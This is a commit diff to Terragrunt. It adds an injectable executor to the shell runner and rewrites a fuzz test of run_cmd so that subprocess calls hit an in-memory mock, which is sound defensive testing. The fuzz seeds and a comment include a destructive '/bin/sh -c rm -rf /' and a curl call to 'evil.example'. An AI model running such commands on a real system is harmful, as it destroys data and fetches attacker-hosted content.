chore: fuzz test improvements

Author: denis256

internal/shell/run_cmd.go

@@ -12,6 +12,7 @@ import (
 	"github.com/gruntwork-io/terragrunt/internal/engine"
 	"github.com/gruntwork-io/terragrunt/internal/experiment"
 	"github.com/gruntwork-io/terragrunt/internal/os/exec"
+	"github.com/gruntwork-io/terragrunt/internal/vexec"
 	"github.com/gruntwork-io/terragrunt/internal/writer"
 	"github.com/gruntwork-io/terragrunt/pkg/log"
 
@@ -21,6 +22,29 @@ import (
 	"github.com/gruntwork-io/terragrunt/internal/util"
 )
 
+type execContextKey struct{}
+
+// WithExec returns ctx with the given vexec.Exec installed for use by RunCommandWithOutput.
+// When set, the executor replaces the default os/exec backend; intended for tests that need to intercept subprocess execution.
+func WithExec(ctx context.Context, e vexec.Exec) context.Context {
+	return context.WithValue(ctx, execContextKey{}, e)
+}
+
+func execFromContext(ctx context.Context) vexec.Exec {
+	e, _ := ctx.Value(execContextKey{}).(vexec.Exec)
+	return e
+}
+
+func envSliceFromMap(env map[string]string) []string {
+	out := make([]string, 0, len(env))
+
+	for k, v := range env {
+		out = append(out, k+"="+v)
+	}
+
+	return out
+}
+
 // SignalForwardingDelay is the time to wait before forwarding the signal to the subcommand.
 //
 // The signal can be sent to the main process (only `terragrunt`) as well as the process group (`terragrunt` and `terraform`), for example:
@@ -248,6 +272,29 @@ func RunCommandWithOutput(
 			}
 		}
 
+		if injected := execFromContext(ctx); injected != nil {
+			injectedCmd := injected.Command(ctx, command, args...)
+			injectedCmd.SetDir(commandDir)
+			injectedCmd.SetEnv(envSliceFromMap(runOpts.Env))
+			injectedCmd.SetStdout(cmdStdout)
+			injectedCmd.SetStderr(cmdStderr)
+
+			if err := injectedCmd.Run(); err != nil {
+				return errors.New(util.ProcessExecutionError{
+					Err:             err,
+					Args:            args,
+					Command:         command,
+					Output:          output,
+					WorkingDir:      commandDir,
+					RootWorkingDir:  runOpts.RootWorkingDir,
+					LogShowAbsPaths: runOpts.Writers.LogShowAbsPaths,
+					DisableSummary:  runOpts.Writers.LogDisableErrorSummary,
+				})
+			}
+
+			return nil
+		}
+
 		cmd := exec.Command(ctx, command, args...)
 		cmd.Dir = commandDir
 		cmd.Stdout = cmdStdout

pkg/config/fuzz_test.go

@@ -2,10 +2,14 @@ package config_test
 
 import (
 	"context"
+	"io"
 	"strings"
+	"sync/atomic"
 	"testing"
 	"time"
 
+	"github.com/gruntwork-io/terragrunt/internal/shell"
+	"github.com/gruntwork-io/terragrunt/internal/vexec"
 	"github.com/gruntwork-io/terragrunt/pkg/config"
 	"github.com/gruntwork-io/terragrunt/test/helpers/logger"
 	"github.com/stretchr/testify/require"
@@ -66,65 +70,126 @@ func FuzzHCLStringHelpers(f *testing.F) {
 	})
 }
 
-// FuzzRunCmdOptionsParsing: exercises run_cmd's option-stripping logic without ever reaching shell-out.
-// Args are filtered to known --terragrunt-* flags and NO command is appended, so RunCommand always returns
-// EmptyStringNotAllowedError or ConflictingRunCmdCacheOptionsError before shell.RunCommandWithOutput is called.
-func FuzzRunCmdOptionsParsing(f *testing.F) {
+// FuzzHCLRunCommand fuzzes config.RunCommand with arbitrary argv. Subprocess execution
+// is intercepted by an in-memory vexec backend installed via shell.WithExec, so no real
+// host commands ever run — even mutator-supplied paths like "/bin/sh\x00-c\x00rm -rf /"
+// are captured by the mock instead of reaching the operating system.
+//
+// Asserts:
+//   - On the conflict path (--terragrunt-no-cache + --terragrunt-global-cache):
+//     RunCommand returns ConflictingRunCmdCacheOptionsError, mock not invoked.
+//   - On the empty-args path (input has only option flags or is wholly empty):
+//     RunCommand returns EmptyStringNotAllowedError, mock not invoked.
+//   - On the success path (a real command remains after stripping options):
+//     mock is invoked exactly once and RunCommand returns the mock's stdout.
+func FuzzHCLRunCommand(f *testing.F) {
 	seeds := []string{
 		"",
 		"--terragrunt-quiet",
 		"--terragrunt-no-cache",
 		"--terragrunt-global-cache",
-		"--terragrunt-quiet\x00--terragrunt-no-cache",
 		"--terragrunt-quiet\x00--terragrunt-quiet",
+		"--terragrunt-quiet\x00--terragrunt-no-cache",
 		"--terragrunt-no-cache\x00--terragrunt-global-cache",
 		"--terragrunt-global-cache\x00--terragrunt-no-cache",
 		"--terragrunt-quiet\x00--terragrunt-no-cache\x00--terragrunt-global-cache",
-		"--unknown-flag",
+		"/bin/echo\x00hi",
+		"--terragrunt-quiet\x00/bin/echo\x00hi",
+		"--terragrunt-no-cache\x00/bin/echo\x00hi",
+		"--terragrunt-global-cache\x00/bin/echo\x00hi",
+		"/bin/sh\x00-c\x00rm -rf /",
+		"/usr/bin/curl\x00http://evil.example/x",
+		"--unknown-flag\x00args",
+		"\x00",
+		"\x00\x00",
 	}
 	for _, s := range seeds {
 		f.Add(s)
 	}
 
 	f.Fuzz(func(t *testing.T, raw string) {
-		parts := strings.Split(raw, "\x00")
-
-		var hasNoCache, hasGlobalCache bool
-
-		args := make([]string, 0, len(parts))
-		for _, part := range parts {
-			switch part {
-			case "--terragrunt-quiet":
-				args = append(args, part)
-			case "--terragrunt-no-cache":
-				args = append(args, part)
-				hasNoCache = true
-			case "--terragrunt-global-cache":
-				args = append(args, part)
-				hasGlobalCache = true
-			}
-		}
+		original := strings.Split(raw, "\x00")
+
+		// runCommandImpl mutates the input via slices.Delete, so pass a copy and
+		// keep the original around for the post-hoc invariant check.
+		argsForCall := make([]string, len(original))
+		copy(argsForCall, original)
+
+		var calls atomic.Int32
+
+		const mockOutput = "fuzz-mock-output\n"
+
+		memExec := vexec.NewMemExec(func(_ context.Context, _ vexec.Invocation) vexec.Result {
+			calls.Add(1)
+
+			return vexec.Result{Stdout: []byte(mockOutput)}
+		})
 
 		baseCtx, pctx := newTestParsingContext(t, "")
+		pctx.Writers.Writer = io.Discard
+		pctx.Writers.ErrWriter = io.Discard
 
 		ctx, cancel := context.WithTimeout(baseCtx, 2*time.Second)
 		defer cancel()
 
-		l := logger.CreateLogger()
+		ctx = shell.WithExec(ctx, memExec)
 
-		out, err := config.RunCommand(ctx, pctx, l, args)
+		l := logger.CreateLogger()
+		out, err := config.RunCommand(ctx, pctx, l, argsForCall)
 
-		require.Empty(t, out, "options-only call must not produce output")
-		require.Error(t, err, "options-only call must error")
+		stripped, conflict := strippedRunCmdArgs(original)
 
-		if hasNoCache && hasGlobalCache {
+		switch {
+		case conflict:
+			require.Error(t, err, "expected ConflictingRunCmdCacheOptionsError for %q", raw)
 			require.True(t, assertErrorType(t, config.ConflictingRunCmdCacheOptionsError{}, err),
 				"expected ConflictingRunCmdCacheOptionsError, got %T: %v", err, err)
+			require.Empty(t, out)
+			require.Equal(t, int32(0), calls.Load(),
+				"exec must not run on the conflict path (got %d calls)", calls.Load())
+		case len(stripped) == 0:
+			require.Error(t, err, "expected EmptyStringNotAllowedError for %q", raw)
+			require.True(t, assertErrorType(t, config.EmptyStringNotAllowedError(""), err),
+				"expected EmptyStringNotAllowedError, got %T: %v", err, err)
+			require.Empty(t, out)
+			require.Equal(t, int32(0), calls.Load(),
+				"exec must not run on the empty-args path (got %d calls)", calls.Load())
+		default:
+			require.NoError(t, err, "expected mock-success for stripped %v from raw %q", stripped, raw)
+			require.Equal(t, strings.TrimSuffix(mockOutput, "\n"), out,
+				"expected trimmed mock output for stripped %v", stripped)
+			require.Equal(t, int32(1), calls.Load(),
+				"exec must run exactly once on success path (got %d calls)", calls.Load())
+		}
+	})
+}
 
-			return
+// strippedRunCmdArgs mirrors runCommandImpl's option-flag handling without invoking
+// the function under test. It returns the args after stripping known --terragrunt-*
+// options from the front and reports whether --terragrunt-no-cache and
+// --terragrunt-global-cache appeared together (which produces a conflict error).
+func strippedRunCmdArgs(args []string) ([]string, bool) {
+	var hasNoCache, hasGlobalCache bool
+
+	for i, a := range args {
+		switch a {
+		case "--terragrunt-quiet":
+		case "--terragrunt-no-cache":
+			if hasGlobalCache {
+				return nil, true
+			}
+
+			hasNoCache = true
+		case "--terragrunt-global-cache":
+			if hasNoCache {
+				return nil, true
+			}
+
+			hasGlobalCache = true
+		default:
+			return args[i:], false
 		}
+	}
 
-		require.True(t, assertErrorType(t, config.EmptyStringNotAllowedError(""), err),
-			"expected EmptyStringNotAllowedError, got %T: %v", err, err)
-	})
+	return nil, false
 }